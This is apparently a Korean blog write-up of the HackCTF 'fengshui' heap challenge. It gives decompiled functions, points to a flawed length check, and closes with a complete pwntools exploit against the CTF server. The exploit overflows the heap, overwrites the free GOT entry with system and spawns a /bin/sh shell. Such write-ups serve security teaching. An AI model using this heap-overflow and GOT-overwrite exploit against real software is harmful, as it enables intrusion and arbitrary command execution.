Writeup
File information
Code
Main
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char v3; // [esp+3h] [ebp-15h]
int v4; // [esp+4h] [ebp-14h]
size_t v5; // [esp+8h] [ebp-10h]
unsigned int v6; // [esp+Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
alarm(0x3Cu);
while ( 1 )
{
puts("0: Add a Location");
puts("1: Delete a Location");
puts("2: Display a Location");
puts("3: Update a Location description");
puts("4: Exit");
printf("Choice: ");
if ( __isoc99_scanf("%d", &v4) == -1 )
break;
if ( !v4 )
{
printf("Size of description: ");
__isoc99_scanf("%u%c", &v5, &v3);
add_location(v5);
}
if ( v4 == 1 )
{
printf("Index: ");
__isoc99_scanf("%d", &v5);
delete_location(v5);
}
if ( v4 == 2 )
{
printf("Index: ");
__isoc99_scanf("%d", &v5);
display_location(v5);
}
if ( v4 == 3 )
{
printf("Index: ");
__isoc99_scanf("%d", &v5);
update_desc(v5);
}
if ( v4 == 4 )
{
puts("^^7");
exit(0);
}
if ( cnt > 49u )
{
puts("Capacity Exceeded!");
exit(0);
}
}
exit(1);
}
- Main함수는 다음과 같은 역할을 한다.
- 0~4번까지 각각의 함수 호출
- 할당할 크기나 index는 main에서 scanf로 입력받는다.
add_location
_DWORD *__cdecl add_location(size_t a1)
{
void *s; // ST24_4
_DWORD *v2; // ST28_4
s = malloc(a1);
memset(s, 0, a1);
v2 = malloc(128u);
memset(v2, 0, 128u);
*v2 = s;
store[cnt] = v2;
printf("Name: ");
read_len(store[cnt] + 4, 124);
update_desc(++cnt - 1);
return v2;
}
- add_location은 다음과 같은 역할을 한다.
- desc, name 순으로 동적 할당이 된다.
- 동적 할당 시 할당한 영역을 0으로 초기화해준다.
delete_location
unsigned int __cdecl delete_location(unsigned __int8 a1)
{
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
if ( a1 < cnt && store[a1] )
{
free(*store[a1]);
free(store[a1]);
store[a1] = 0;
}
return __readgsdword(0x14u) ^ v2;
}
- delete_location은 다음과 같은 역할을 한다.
- desc, name순으로 free를 진행한다.
- 해당 index를 0으로 값을 바꿔준다.
display_location
unsigned int __cdecl display_location(unsigned __int8 a1)
{
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
if ( a1 < cnt && store[a1] )
{
printf("Name: %s\n", store[a1] + 4);
printf("Description: %s\n", *store[a1]);
}
return __readgsdword(0x14u) ^ v2;
}
- display_location은 다음과 같은 역할을 한다.
- name과 desc를 출력한다.
update_desc
unsigned int __cdecl update_desc(unsigned __int8 a1)
{
char v2; // [esp+17h] [ebp-11h]
int v3; // [esp+18h] [ebp-10h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
if ( a1 < cnt && store[a1] )
{
v3 = 0;
printf("Text length: ");
__isoc99_scanf("%u%c", &v3, &v2);
if ( (v3 + *store[a1]) >= store[a1] - 4 )
{
puts("Nah...");
exit(1);
}
printf("Text: ");
read_len(*store[a1], v3 + 1);
}
return __readgsdword(0x14u) ^ v4;
}
- update_desc는 다음과 같은 역할을 한다.
- 입력받을 데이터의 길이를 입력받다.
- 입력받은 길이 값이 생성한 desc의 크기보다 큰지 체크를 한다.
- 체크는 입력받은 길이 + desc주소를 더한 값이 name주소보다 크다면 종료가 된다.
- 길이만큼 데이터를 입력받는다.
Exploit
이 문제는 update_desc의 길이 체크 부분 허점을 이용하여 heap overflow를 일으켜 공격을 진행한다.
다음과 같이 할당이 되었을 때 첫 번째 index를 free를 하게 되면 desc부분은 fastbin으로 name은 unsortedbin으로 이동하게 된다. 아래는 왼쪽이 free 된 모습이며, 오른쪽은 free 이후 128 크기의 desc를 할당하였을 때의 모습이다. 다음과 같이 desc가 할당이 되었을 때 update_desc에서 길이를 체크하는 부분을 우회할 수 있다. 즉 heap overflow를 일으킬 수 있다.
이후 display_location을 이용하여 leak을 하고 delete_location의 free를 이용하여 system("/bin/sh")을 호출하면 된다.
exploit code
from pwn import *
# p=process("./fengshui")
p=remote("ctf.j0n9hyun.xyz",3028)
libc=ELF("./libc.so.6")
def Add(size,name,length,text):
p.sendlineafter("Choice: ", '0')
p.sendlineafter("Size of description:", str(size))
p.sendlineafter("Name:", name)
p.sendlineafter("Text length:", str(length))
p.sendlineafter("Text:",text)
def Delete(index):
p.sendlineafter("Choice: ", '1')
p.sendlineafter("Index:", str(index))
def Display(index):
p.sendlineafter("Choice: ", '2')
p.sendlineafter("Index:", str(index))
def Update(index,length,text):
p.sendlineafter("Choice: ", '3')
p.sendlineafter("Index:", str(index))
p.sendlineafter("Text length:", str(length))
p.sendlineafter("Text:",text)
free_got = 0x804b010
free_plt = 0x80484f0
free_off = libc.symbols['free']
system_off = libc.symbols['system']
dummy="A"*152
dummy+=p32(free_got)
Add(8,'A',8,'A')
Add(8,'A',8,'A')
Add(8,'/bin/sh',8,'/bin/sh')
Delete(0)
Add(128,'A',156,dummy)
Display(1)
p.recvuntil("on:")
leak = u32(p.recvn(5)[1:5])
libc_base = leak - free_off
system = libc_base + system_off
log.info("leak = " + hex(leak))
log.info("libc_base = " + hex(libc_base))
Update(1,4,p32(system))
Delete(2)
p.interactive()
'Pwnable > hackCTF' 카테고리의 다른 글
babyfsb (64bit fsb) (0) | 2020.03.23 |
---|---|
you_are_silver (64bit fsb) (0) | 2020.03.21 |
훈폰정음 (0) | 2020.03.10 |
HackCTF UAF (2) | 2020.01.23 |
HackCTF Beginner_Heap (0) | 2020.01.22 |